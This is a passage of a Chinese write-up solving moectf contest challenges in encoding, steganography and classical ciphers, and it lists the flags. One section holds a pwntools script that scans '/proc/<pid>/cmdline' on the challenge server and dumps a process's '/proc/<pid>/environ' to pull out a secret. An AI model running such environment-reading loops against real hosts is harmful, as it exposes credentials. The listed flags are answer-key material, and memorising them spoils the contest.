Ö_o owO 0v0 Owo o.O O.O Ö.0 OwO ÖwO 0wO Ov0 OwO Ö.O ÖvÖ Ö.0 Ov0 o.O OvÖ 0w0 OvO o_0 O.Ö Öw0 Ö_0 Ö.O Ö.O O.0 owo ÖvÖ O.o Ö.0 Övo o_0 ÖvÖ 0w0 Ö_0 Övo ow0 Ov0 Ö.0 Öwo 0wÖ O_0 O.Ö o_o 0wÖ Ö.0 Övo Ö.o Ö.Ö Övo ovo Ö.O Ö.o o_0 O.o ÖvO owO 0_0 owO Ö_o 0wÖ Öv0 0wO o.O OwÖ Öw0 O.o Öw0 O.o 0.0 O_O Ö_0 Ö.o Ö.0 0v0 Öw0 Ö.O 0_0 0vÖ Övo owÖ Ov0 0_Ö Öv0 Ö.Ö O.0 0vÖ Ö.o 0vÖ 0.0 OwÖ ÖvÖ ÖvÖ o_0 0_0 ÖwO Ö.O Övo ovo o.O 0vo Ö.0 owo Öv0 ÖvÖ Öw0 Öwo Ö.0 Ö.O o.0 O_Ö o_o O.0 Ö.0 Öwo Ö.o Ö.O ov0 Öw0 Ö_o owÖ Ö.0 Ov0 o_0 Ö.O ov0 Ö.0 Öwo Ö.O o_0 owo o_o O.Ö 0.0 OvÖ Öw0 Ö.O 0_0 ÖvÖ Ö.0 Ö.Ö 0w0 O.O Ö_o owÖ Öv0 O.O Ö.0 O.o ov0 OvÖ ÖvÖ Ö.0 0.0 Ö.O ÖvO O.o Ow0 O_o Ö.O 0vo ov0 OvÖ o.Ö OwÖ Ö.0 0w0 o.O owÖ 0.0 O_Ö ÖvÖ Ö.0 O_0 Ö_0 Öw0 Ö.O O_0 0wO o_O Ö.o O_0 Övo Öw0 ow0 O_0 ÖwO Ö.0 Ö.O Ö.0 O.Ö Öv0 O.o Ö.0 Ö_0 o.Ö ow0 Ö.0 0wÖ OvO 0vO 0_0 0v0 o_O ÖvÖ 0.o 0wo o_0 O.O 0w0 0v0 O_o O.Ö Öv0 0w0 o.O Ö.O Ow0 0.0 o.Ö 0vO o_o 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 ovO o_0 Ö.O ov0 0vo o_0 Ö.O 0.0 0.0 Ö_o Ö.O Öv0 ow0 ÖwÖ OwO O_o 0wo o_0 owO 0w0 0.0 Ö_o owO 0wo 0wo Ö_o 0vO Ö.0 0vÖ o.O Ö.O ovo 0wo o_0 owO 0v0 owo o.O OvO Ov0 0wO Öw0 0wÖ Ovo ov0 Öwo ÖvÖ 0vo Owo Öw0 O.O Öw0 0vo Ö_0 0vO O_o O_O o.O Ö.Ö Ö_o ovO O_o O.Ö Öv0 0.o Ö_0 ÖvO Ov0 0v0 o.Ö 0vO Övo 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 0vo o_0 Ö.O Öv0 ow0 Ö_0 O.Ö Ö.o Ö_Ö O_o 0wO Ov0 owÖ o.O O.O 0v0 0wÖ o.O OvO Ov0 0wO Ö_0 Ö.O o_0 0.0 o.Ö 0wO Ov0 owÖ o.O Ö.Ö Öv0 0.o O_o OvÖ O_o owÖ Öwo 0vO O_0 0vO Öwo Ö.O Öv0 0w0 Öwo 0wÖ O_o Owo Öw0 Owo 0.o O_O o.O O.O 0v0 0_O o_0 OvÖ O.o ovO O_o O.O 0w0 0_Ö o_0 OwO Ov0 0vo o.Ö OwO Ov0 OvO o.O Ö.Ö Öv0 0wÖ o.Ö owO 0v0 0_O O_o O.O O.0 0vo Ö_0 O.Ö O_0 0v0 o_o owÖ Öw0 0v0 o_o OwO Ov0 0v0 o.Ö 0vO Öw0 0_Ö Ö_0 O.O Ö.o Ö_Ö OvO 0vO 0w0 0.0 o.Ö 0vÖ Övo OwO ÖwO 0wO Ov0 owo o.O O.O Ö.o 0wo o.Ö 0vO O.0 0_0 Ö_0 ÖvO Ov0 0_Ö Ö_0 0wO Ov0 0wÖ o_o 0vÖ 0v0 Owo o_0 O.O o.0 OwÖ o_O Ö.Ö Öw0 owo Ö_0 Ö.O owo 0wo o.O Ö.Ö Öwo 0wo O_o 0vO O_0 0_o O_O 0wO 0.o 0.O O_O 0vÖ Öw0 0.o O_o 0wo  

3、解题方法:

看到这东西挺懵的。。。但别急,感觉像是某种语言的转换。肯定要把这种语言转换成什么。

去GitHub上逛一逛发现有博主写了类似的语言转换,简单了解一下:

https://github.com/AddOneSecondL/zdjd_hoshino

分析完后发现是一种基于base64的一种转换,简单修改下代码如下:

import base64
# from hoshino import Service
# from nonebot.message import CQEvent
# from hoshino.typing import MessageSegment

# sv = Service('尊嘟假嘟转换器', enable_on_default=True)
help_txt = """
h2z[人类语]:人类语转尊嘟语(human to zundu)
z2h[尊嘟语]:尊嘟语转人类语(zundu to human)
""".strip()

#GPT转换的源码
b64 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='
leftEye = ['o', '0', 'O', 'Ö']
mouth = ['w', 'v', '.', '_']
rightEye = ['o', '0', 'O', 'Ö']
table = []

separator = ' '

def makeTable():
  for i in range(4):
    for j in range(4):
      for k in range(4):
        table.append(leftEye[i] + mouth[j] + rightEye[k])

makeTable()

def addCalls(t):
  return t

def human2zdjd(t):
  t = base64.b64encode(t.encode('utf-8')).decode('utf-8')
  lent = len(t)
  arr = []

  for i in range(lent):
    c = t[i]
    n = b64.index(c)
    if n < len(table):
      arr.append(table[n])

  data = separator.join(arr)
  return addCalls(data)

def zdjd2human(t):
  arr = t.split(separator)
  lent = len(arr)
  resultArr = []
  
  for i in range(lent):
    c = arr[i]
    if not c:
      continue
    n = table.index(c)
    if n < 0:
      raise ValueError('Invalid zdjd code')
    resultArr.append(b64[n])

  t = ''.join(resultArr)
  # t = base64.b64decode(t).decode('utf-8')
  return t

def isZdjd(t):
  try:
    zdjd2human(t)
    return True
  except:
    return False


print(zdjd2human(open('readme.txt',encoding='utf-8').read()))
#GPT转换的源码

# #人类语转尊嘟语
# @sv.on_prefix('h2z')
# async def h2z(bot,ev):
#     msg = ev.message.extract_plain_text().strip()
#     if msg == '':
#         msg = '你所热爱的就是你的生活'
#     msg = human2zdjd(msg)
#     await bot.send(ev,msg)
#
# #尊嘟语转人类语
# @sv.on_prefix('z2h')
# async def z2h(bot,ev):
#     msg = ev.message.extract_plain_text().strip()
#     if msg == '':
#         await bot.send(ev,'ov0 O_Ö owO 0wo ovO O_O Ö_O owo ov0 Ö_o Ö_O 0v0 ovO O_O Ö_O o_0 ovO o.Ö 0wO 0_0')
#         return
#     is_zd = isZdjd(msg)
#     if not is_zd:
#         await bot.send(ev,'你这是假的尊嘟语!')
#         return
#     msg = zdjd2human(msg)
#     await bot.send(ev,msg)

运行得到base编码:

Y2lwaGVyOiByWTVBaDhCdHNZWWF0TEVQdThZQ1BVMjJHcjVQUXQ4WUdES2t2YjRiazNENEpKZUVlNWtnQ3BvRXFnUnpzTTdtOWQ4akV0RTNMVW9LcFVMUW5NY3VBdW5VMWd0cHpDNWtTVXhGY3RGVE5DTVpWSExIWk5DbzVha3pLTVJZNWJieUJQN1JOVWVHREVZb1VjCmtleTogdGhlIHRhaWxpbmcgOCBieXRlcyBvZiBoYXNoIG9mICJ6dW5kdWppYWR1PyIgd2hpY2ggYmVnaW4gd2l0aCBiNjA5MTkwNGNkZmIKaXY6IHRoZSBlbmQgOCBieXRlcyBvZiBoYXNoIG9mICJkdWR1ZHU/IiB3aGljaCBiZWdpbiB3aXRoIDI3MmJmMWRhMjIwNwoKaGludDE6IGhvdyBkbyBCaXRjb2luIGFkZHJlc3NlcyBlbmNvZGU/CmhpbnQyOiB0aGUgbmFtZSBvZiBjcnlwdG9zeXN0ZW0gaXMgImJsKioqKnNoIg

下面来解码,base64解码

得到结果:

cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc
key: the tailing 8 bytes of hash of "zundujiadu?" which begin with b6091904cdfb
iv: the end 8 bytes of hash of "dududu?" which begin with 272bf1da2207

hint1: how do Bitcoin addresses encode?
hint2: the name of cryptosystem is "bl****sh"

译:
cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc
密钥:以b6091904cdfb开头的“zundujiadu?”的尾8字节哈希值
Iv:以272bf1da2207开头的“dududu?”散列的最后8个字节
提示1:比特币地址是如何编码的?
提示2:密码系统的名称是“bl****sh”。

emmm,这最后的提示就太明显了。跟着步骤走,先哈希密匙和iv,分别找到对应数据

可以得到key和iv分别为  57e55c126f1557b3  和  67e9fca0871f9834  。然后根据提示1/2知道是Blowfish Decrypt解码。解码之前先进行base58

moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}

七、烫烫烫

1、附件信息:

+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-

2、解题方法:

碰见这类编码应该很敏感才行,Decode text(UTF-7)解码,常见UTF-8。

根据解密结果进行操作,首先,对“所以说,codepage真的很重要啊(”进行sha256

接着进行AES解码,由于没有iv,使用ECB模式。

八、狗子(2) 照片

1、题目信息:

CHALLENGE: 狗子(2) 照片
DESCRIPTION: [The Magical Cat Ep.2]
这只猫肯定在这照片里留了点东西。
我们前往了 Rx 家,见到了狗子,并拍到了他的珍贵照片。可是按下快门的下一刻,我们都察觉了一丝不对劲。
Rx 提出了一个可能性——狗子在拍照的一瞬间往图片 **隐写** 了信息。一开始只是玩笑话,可是可可检验了自己手上的照片,发现真的有隐藏的内容。
没人知道一只猫是怎么做到这件事的。但或许有另一种可能……这是后话。

提示:去寻找图片隐写的相关资料吧!这类工具非常多,所以一个个试试看吧。
提示2:“不是,你看看这图片上的字?Hacked by Doggy……所以狗子能够篡改图片的像素点?啊?”

2、解题方法:

根据提示可以猜测应该是lsb隐写,我们先去查看图片相关信息,获取颜色通道模式。

# 从Pillow库导入Image类
from PIL import Image

# 读取本地文件名为1.png的图片
img = Image.open('1.png')

# size 记录了图片的宽、高,单位为像素(px)
width, height = img.size
print(width, height) # 256 256

# mode 属性记录了图片使用的图片模式
mode = img.mode
print(img.mode) # RGBA

# getpixel()方法接受一个元组,元组中为要获取像素信息的像素点坐标
# PIL使用笛卡尔像素坐标系统,坐标(0,0)位于左上角
# X轴是从左到右增长的,Y轴是从上到下增长, 可以自己上手试试.
x, y = 100, 100
pix = img.getpixel((x, y))
print(pix) # (1, 67, 145, 235)

# 也可以使用load方法,该方法返回所有像素点的信息
pix = img.load()
print(pix[x, y]) # (1, 67, 145, 235)
1900 2532
RGBA
(5, 5, 5, 255)
(5, 5, 5, 255)

得到是RGBA模式,然后我们去kali使用zsteg指令进行查看隐写信息。

zsteg -e "b1,rgba,lsb,xy" 1.png > 1.txt

查看1.txt发现flag

moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}

九、base乐队

1、附件信息:

HFUEULC5HEZG42DGHFGDWSCTHRCUIUSVHFGDWS2EGZMCCRDKG5XG2LDEHFUTYYZGHJSUMKKDGVZDELBRHBIW4UCQGZLGOP2SHEYV44ZOHEZFYXCZHEYUIV2VGEXVK4KRHBWFWY2OHVMWSYCKG5XFCZTBHEZC6I2WHJST2ZK4HEXTSMDSHA3CKZRZGRNHI4LL

2、解题方法:

base32—>85—>32—>凯撒14位—>base64

十、奇怪的压缩包

1、题目信息:

CHALLENGE: 奇怪的压缩包
DESCRIPTION: 或许他不是个压缩包?

2、解题方法:

根据提示可知应该不是一个压缩包。。。

010查看发现里面很多PK文件,这个题两种做法:第一、我们可以用kali分离得到PPT文件。第二、直接修改压缩包后缀为ppt。

分离/修改完成后打开PPT,里面有五页内容,我们分别来看。(看到这里我们自然就应该想到PPT隐写,想到该使用的方法)

第一页:全选页面,修改文字颜色,无果,说明此处无隐写。

第二页:同样步骤发现有隐写,得到flag第一部分。

第三页:点击妙蛙种子嘴部符号,得到flag第二部分。

第四页:我们全选页面后发现妙蛙种子嘴部有个文本框,里面肯定有东西,我们需要去除图片看隐藏在背后的信息。

删除图片后,发现flag第三部分。

最后一页:什么也没有。。。

明显应该还有flag最后一部分没出来,我们在哪里找呢?尝试查看PPT大纲发现末尾出现最后一部分。

最后合并flag

moectf{2ip_?_n0_i4_pp4x!}

十一、机位查询

1、题目信息:

CHALLENGE: 机位查询
DESCRIPTION: 青青在网上看到几个大师拍的城市风光很羡慕,也想去拍同款,你可以帮他找到这几张照片是在哪拍的吗
找出三张照片分别是在哪栋楼拍摄的,flag为1.2.3三张照片拍摄点的前两个字的拼音,三个拍摄点之间用_隔开
如:若找到的拍摄点分别为“世界之窗”“未来之瞳”“帝王大厦”,则flag为moectf{shijie_weilai_diwang}

2、解题方法:

还是一个社工题,给了三张图片,较好的是都是在南宁拍的。做法自行查找即可,这里我也是一个个尝试的(也没有想到什么好方法)。。。确实不太好找,但还是可以找到~~

moectf{jiashi_baisheng_huijin}

十二、狗子(3) 寝室

1、题目信息:

CHALLENGE: 狗子(3) 寝室
DESCRIPTION: [The Magical Cat Ep.3]
这只猫在沙发底下睡觉的时候,Rx应该不会想到,狗子身外的无数层屏障壁,正如同套娃一样,将他与宇宙另一侧的喧嚣隔绝开来。战争在那里打响,而战争的幸存者,正躲在沙发和一层层守护之下。

2、解题方法:

压缩包解压后发现是个套娃

写个脚本解压:

import os
import tarfile
import zipfile
import py7zr


def extract_file(file_path, dest_dir):
    if file_path.endswith(".tar.gz"):
        with tarfile.open(file_path, 'r:gz') as tar:
            tar.extractall(dest_dir)
    elif file_path.endswith(".zip"):
        with zipfile.ZipFile(file_path, 'r') as zip_ref:
            zip_ref.extractall(dest_dir)
    elif file_path.endswith(".7z"):
        with py7zr.SevenZipFile(file_path, 'r') as seven_zip:
            seven_zip.extractall(dest_dir)


def main():
    base_dir = os.getcwd()
    current_number = 9999

    while True:
        file_name = f"shell{current_number}"
        tar_file = os.path.join(base_dir, f"{file_name}.tar.gz")
        zip_file = os.path.join(base_dir, f"{file_name}.zip")
        seven_zip_file = os.path.join(base_dir, f"{file_name}.7z")

        if os.path.exists(tar_file):
            extract_file(tar_file, base_dir)
            os.remove(tar_file)
        elif os.path.exists(zip_file):
            extract_file(zip_file, base_dir)
            os.remove(zip_file)
        elif os.path.exists(seven_zip_file):
            extract_file(seven_zip_file, base_dir)
            os.remove(seven_zip_file)

        txt_file = os.path.join(base_dir, f"{file_name}.txt")
        if os.path.exists(txt_file):
            print(f"Found {txt_file}, stopping extraction.")
            break

        current_number -= 1
        if current_number < 0:
            print("Extraction completed, no matching txt file found.")
            break


if __name__ == "__main__":
    main()
#压缩包先解压一次然后放到与py同一目录下

等待运行即可,需要一点时间。运行完成后在目录下会发现最后解压的结果文件flag.txt

moectf{Ca7_s133p1ng_und3r_zip_5hell5}

十三、你想要flag吗

1、题目信息:

CHALLENGE: 你想要flag吗
DESCRIPTION: 青青向littlebean索要flag,但是littlebean只给他发了一段音频让他自己想办法,你能帮帮青青吗

2、解题方法:

附件是个WAV文件,音频隐写

Audacity工具打开,发现中间部分可疑,频谱图放大查看。

发现了好东西,哎嘿嘿!!出现pwd和key想到解密工具肯定需要这俩,那么我们可以使用DeepSound看一下,发现不行。尝试了几个音频隐写需要密码的工具后发现steghide可以解决。

指令:

steghide extract -sf 1.WAV -p youseeme

得到txt文件,打开发现是兔子流密码。

U2FsdGVkX18pGLCTMBSjkndoY4gf2lbG96QwOzVZDZeAYOA+TKnfv1mCtQ==

使用key在线解码即可

十四、照片冲洗

1、题目信息:

CHALLENGE: 照片冲洗
DESCRIPTION: 青青在给照片加水印的时候不小心把两张照片粘在一起了,你有什么头绪吗
flag以moectf{}形式提交

2、解题方法:

题目说两张图片粘在一起了,再根据题目"冲洗",我们可以想到附件里的图片肯定需要分离可以得到两张盲水印图片。然后盲水印解码即可

主要问题是分离图片,我们使用kali进行foremost分离发现不行,那么问题肯定在图片身上,010打开查看信息

我们发现头格式是个png格式,拉到末尾发现png尾部。我们可以想到既然是两张合在一起了,会不会是这里面有两个png图片。

我们对尾部进行搜索,复制末尾的信息进行搜索。

果然发现这个地方存在另一个图片只不过缺少了头,我们使用png格式补充完整。然后再放到kali进行分离。

可以得到两张图片。

然后盲水印指令还原即可

python decode.py --original 522.png --image 511.png --result extract5.png

 

哎!!费眼的时刻又来了,。。。。

W0w_you_6@v3_1earn3d_blind_w@t3rma2k

十五、狗子(4) 故乡话

1、题目信息:

CHALLENGE: 狗子(4) 故乡话
DESCRIPTION: [The Magical Cat Ep.4]
这只猫在刨他的猫砂。Rx 很头疼,因为他的排泄物随着细砂扬了一地。但是狗子不在乎。在飞溅这些猫砂的时候,他谱写的的是他的故乡。
提示:狗子所用的语言,似乎在地球上某款知名沙盒游戏也出现过……
注意:最终得到的内容为纯英文小写字母,请使用 moectf{} 包裹,例如 moectf{answer}。

2、解题方法:

附件信息:

False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False 
False True True True True False False False True True False False False False True False True False False False True True False False False False False True False False False False True False True False False False True False False False False False False False False False False True False True False False False False False False False 
False False False False False False False False False False True False False False True False True False False False False True False False False False True False True False False False True False True False False False True False False False False False True False False False False True False False False False False True False True False 
False True True False False False False False False False True False False False False False True False False False False True False False False False True False True False False False False False True False False False False True False False False False False False False False False True False False False False False False False False False 
False False False True True False False False False True False False False False False True False False False False False False False False False False True False False False False False False True False False False False False True False False False True False True False False False True False False False False False True False True False 
False False False False False False False False True False False False False False True False False False False False False True False False False True True False False False False False True False False False False False False True False False False False False False False False False True True True False False False False False False False 
False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False 

很经典的题目。看到true和false很容易想到换为1和0

00000000000000000000000000000000000000000000000000000000000
01111000110000101000110000010000101000100000000001010000000
00000000001000101000010000101000101000100000100001000001010
01100000001000001000010000101000001000010000000001000000000
00011000010000010000000000100000010000010001010001000001010
00000000100000100000010001100000100000010000000001110000000
00000000000000000000000000000000000000000000000000000000000

这显然不是二进制解码,那么有经验的misc大佬都会知道这是一种黑白画图问题。

我们可以把1涂成黑色,0涂成白色,在Excel里面画图,exp如下:

import xlwt
#创建一个xls,需要安装xlwt环境库
book = xlwt.Workbook()
#创建一个样式(黑色填充,无边界)
style = xlwt.easyxf('pattern: pattern solid, fore_colour black;font: height 250')
#添加一个表单,允许覆盖
table=book.add_sheet('flag_code',cell_overwrite_ok=True)
#打开txt文件,注意文件路径
with open( '1和0的故事.txt', 'r' ) as f:
	qr=f.read()
qrlist=qr.split("\n")
#first_col=sheet.col(0)
m=0
for i in qrlist:
	n=0
	for j in i:
		table.col(n).width=256*3
		if j=='1':#如果是1则在Excel上涂黑
			table.write(m,n,'',style=style)
		else:
			table.write(m,n,'')#如果是0则不涂黑
		n+=1
	m+=1
book.save('ctfcode.xls')
print('over!!')

#标准银河字母加密

运行得到Excel表格,打开后发现是标准银河字母加密(这就要熟悉密码学里的图片密码了),然后查找即可。

十六、magnet_network

1、题目信息:

CHALLENGE: magnet_network
DESCRIPTION: 注:本题暂时无hint,不建议新手尝试

2、解题方法:

这个挺有难度的,就不解释了,直接脚本吧!

exp:

from hashlib import sha1
import itertools
import string

d = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!_?'
c = '''3A CA D9 6E E5 35 45 F8 AD 3C 41 9C 5B 19 65 BE
A2 34 CC 6A B3 39 E2 54 7E 1B B5 C1 E5 6C 2A CE
AB 1F 7C F5 AF 93 D1 3D 65 13 1D BA 75 0F DC B7
15 E3 23 51 07 04 1D E9 C7 96 71 AE D3 BA 65 3B
9D 29 54 4B 62 39 02 AA 07 07 44 92 79 3C 7A D4
4D D6 E8 92 D9 25 A7 41 1C B1 67 7B 8B 5D 8F EC
6D 93 08 AC CC 83 04 7E 9A E3 92 E0 2B 50 44 28
3C 89 F1 6D C2 6F 32 8E'''.replace(' ','').replace('\n','').lower()
for j in range(6):
    cc = c[j*40:j*40+40]
    print(cc)
    for i in itertools.product(d, repeat=4):
        i = ''.join(i)
        # print(i)
        # print(sha1(i.encode()).hexdigest())
        # # break
        # print('3A CA D9 6E E5 35 45 F8 AD 3C 41 9C 5B 19 65 BE A2 34 CC 6A'.replace(' ','').lower())
        # break
        if j==5:
            if sha1(i.encode()).hexdigest() == cc:
                print(i)
        else:
            if sha1(i.encode()+b'\x00'*16380).hexdigest()==cc:
                print(i)
                print(cc)
                break

运行结果:

然后顺序排列一下

moectf{p2p_iS_intereSting_2WPIB}

十七、weird_package

1、题目信息:

CHALLENGE: weird_package
DESCRIPTION: “你在我的压缩包里面做了什么”
“没...没有啊”(心虚

2、解题方法:

一共9个文件

打开

FcbNCoJAEADgV1L3NAcvpbP2N4HarDtHcWuTWRCCiJ5+6/DBNztQb/oUzPJeSigGq9+p+sO7JDwLQxotdlMR42Dx4BlGWmWb2554pdZXKvLE163Zbc59Tr/TxRzL0Gh3ZYH9o64z

DcPBDoIwDADQX2KdJvbABVmniS6x0IHHoaiJnXqb8evx8KYB9Ww5z/ZSrgar5LUf4a+iGz/pwBH95Og1wqNJjt6niKvjL3ySuNJlNdI2bt5FI77A0FEf82a9FxMEvoFBcXuv6wU=

FcqxDsIgEADQX6Iw3dAF4x0x0kRSr7Rb8VQGLjoZ9eurw9temaDNLunVyUs6MCu1b7Z/eEuKx4WBCmHIttaV8DEzDBd9LylwJ2PzxZzsmA8+7uUZDQ6s4Kczfn4nRMewu/f9Bg==

FcPBDoIwDADQX3Ls1CuRYmLGAUZHe0PFLGbVxB5Uvn7x8C4JCvtRN3/93BzMa1/i0vzhXRTfQqAh4XNpcl57fDFBG3bpNmwtpq+b98EmlRMf8Dd6OtNjsHCUjl2xOCFU

FcOxCsIwEADQXzIpHW4VvIhCxPZsmttOG4kkZ8DBoV9fOrxngBq7QVO3/BcDB3F1ne0O36z44wlUAn5nm7M4bHECGj+nTMT+pWxuoWpypZcRr4MFpUdbfbn30Rx9Ol9gAw==

FcNRC4JADADgv6QnQXvwKdw0mNAd3uneOqwkNpACkX699PDlBDpV3h7VvM0lDIH0N7o/fIrhRyJYJmzHYlkCYTfF84nbqwxOt2D9KsquN/36pkxc+Pc9qnVpvzGp5GaFy6uuDw==

FcOxDoIwEADQX/LOxRtYMBwu19iCLbBRqzbaU6KL8euJw4uByrh1eoF09ECbuS39gH98nZTfAqQS+DlgznPLr9HvMIIxKXyXE9d32wu6Q7axgU/y8ovNog5NfX4k6MpE+1tVrQ==

FcPNEoIgEADgVwI57cFTuUx/NK7pIkekYobWI00+vdPhiwyf2ZA8TapJgxps0b75w1cQvIYJJFpcvcp5sHiaJ6h0DG4p3ZeasvWj5qgw9P78i92yJXb1MZLcTL7c2cHh3bY7

FcPBCsIwDADQXzJuHnL0UEIFGbZLtuxmN4tIIoIgY18/PLwyoGmT/AFLVEk1kYUR7LcIhgLIf5mk6nh5ZbLj1GONw3q7kk0lfDzyYZvf0nY8n8T1mR3bO8O3689boRV3

解本题需要先了解以下知识:

Node.js中提供了一个很好的库Zlib来压缩解压数据。

一、压缩缓冲区

Zlib中有下面几个函数方便解压缩缓冲区.

gzip/gunzip:标准gzip压缩.

deflate/inflate:基于Huffman编码的标准deflate压缩算法。

deflateRaw/inflateRaw:针对原始缓冲区的deflate压缩算法。

它们的函数都是function(buffer,callback).

base64解码发现只有最后一个数据有用。

十八、狗子(5) 毛线球

1、题目信息:

CHALLENGE: 狗子(5) 毛线球
DESCRIPTION: [The Magical Cat Ep.5]
这只猫终于还是带着玩具毛线球跑路了。
他要跑去哪里?除了毛线球,他又带走了什么?
你派出了你的猫(cat),去追踪狗子的踪迹。
(请通过 WSRX 转发题目后使用 nc 连接本题。)

2、解题方法:

exp:

from pwn import *

context.log_level = 'debug'
s = connect('ip',端口号)
s.recv()
for i in range(2,10000):
    s.sendline(b'cat /proc/'+str(i).encode()+b'/cmdline')
    res = s.recv()
    if 'could not open file' not in res.decode() and 'doggy' in res.decode():
        s.sendline(b'cat /proc/' + str(i).encode() + b'/environ')
        res = s.recv()
        print(res)
        break

连接靶机后,kali里面运行脚本得到flag。

moectf{QqW6KithQBZI1Xotgn7475beR5theezr}

🎹Classical Crypto

一、ezrot

1、题目信息:

@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

2、解题方法:随波逐流直接梭

古典密码ezrot

二、可可的新围墙

栅栏密码直接梭

可可的新围墙

三、皇帝的新密码

凯撒密码,随波逐流直接梭

皇帝的新密码

四、不是“皇帝的新密码”

1、题目信息:

scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5

2、解题方法:根据经验一看就是匹配问题,知道flag开头moectf,维吉尼亚口算秘钥或者查表:goodjob,最后的b是猜出来的。直接维吉尼亚梭。这里不要用网上的在线工具,不然解出的结果不准确,最好用赛博厨子梭。

最后验证MD5正确。

五、猫言喵语

1、题目描述:

CHALLENGE: 猫言喵语

DESCRIPTION: 狗曰:”喵喵喵喵喵??“

解出后请转换为全大写,单词间以下划线分隔,套上moectf{}后提交

hint: Morse Code

2、附件信息:

喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?

3、解题方法:

根据提示得摩斯电码,下面就是翻译问题,把“喵喵?”换为“-” ,“喵喵喵”换为“.”,当然没有经验的话不是说一眼就能看出来怎么换,还是需要尝试的。

得到:

- .... . ..--.- -.- .- .-- .- .. .. ..--.- -.-. .- - ..--.- -... ..- - ..--.- -... . ..--.- -.-. .- .-.. .-.. . -.. ..--.- --. --- ..- --.. .. ..--.- -... -.-- ..--.- .-. -..-

摩斯解码:

注意最后flag大写和下划线。

💯Basic

一、CCCCC

1.题目信息:

CHALLENGE: CCCCC
DESCRIPTION: C语言是学习计算机基础中的基础,也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境,并且运行题目给出的代码来获取flag。
by the way:如果你看不懂这段代码,仅仅只是运行得到了flag,后面的题做起来会有一些困难噢

2、解题方法:

附件信息:C语言文件,直接跑就行

#include<stdio.h>
#include<string.h>
int main()
{
  //unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
  unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
  int i;
  for( i=0;i<strlen(enc_data);i++)
  {
    flag[i]=enc_data[i]^i;
  }
  puts(flag);
  return 0;
}

运行结果:

二、Python

1、题目信息:

CHALLENGE: Python
DESCRIPTION: Python是CTF中最常用的编程语言,不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境,并且运行题目给出的代码来获取flag。
by the way:希望你是在看懂这段代码的基础上提交flag的:)

2、解题方法:

附件信息:Python文件,也是直接跑。。。

